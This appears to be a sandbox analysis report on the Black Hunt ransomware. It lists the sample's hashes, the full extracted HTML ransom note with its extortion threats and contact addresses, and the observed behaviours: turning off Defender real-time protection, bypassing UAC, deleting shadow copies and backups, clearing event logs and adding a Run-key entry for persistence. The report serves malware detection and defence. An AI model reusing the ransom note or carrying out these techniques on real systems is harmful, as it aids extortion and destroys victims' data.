51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:21

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General

Target

51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Size

707KB
MD5

381c0731d3af5fb29d1d07ba29b1a747
SHA1

4c101e7fc3203a98f845abcce55f45f3caed89fe
SHA256

51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4
SHA512

44a26772c284e93679e61d85fae232b476a809e11e90c8676a7cbf14d60f3c8a2ec088bdf6249e70bf8ad7208c8785f014bce57223c3ecd599377bb80ac63e15
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1R8Avnh:6uaTmkZJ+naie5OTamgEoKxLWEeh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\Program Files\DVD Maker\en-US\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> Tb4DYpjVBM7gxizu </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2000	fsutil.exe
5864	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
5688	wevtutil.exe
5712	wevtutil.exe
5788	wevtutil.exe
5796	wevtutil.exe
5596	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3004	bcdedit.exe
2240	bcdedit.exe
5644	bcdedit.exe
5716	bcdedit.exe

Renames multiple (2871) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
880	wbadmin.exe
5568	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
5756	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\U:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\P:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\O:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\N:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\M:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\R:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\H:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\J:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\V:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\K:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\L:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\B:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\T:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\Y:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\A:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\I:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\Z:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\Q:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\W:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\S:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened (read-only)	\??\X:	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_zh_TW.properties	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\epl-v10.html	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-application-views.xml	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Nipigon	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hy.txt	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Gambier	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.repository_2.3.0.v20131211-1531.jar	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.nl_ja_4.4.0.v20140623020002.jar	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kolkata	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Maceio	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.common_3.6.200.v20130402-1505.jar	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\hrtfs\dodeca_and_7channel_3DSL_HRTF.sofa	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\#BlackHunt_ReadMe.hta	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\#BlackHunt_Private.key	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
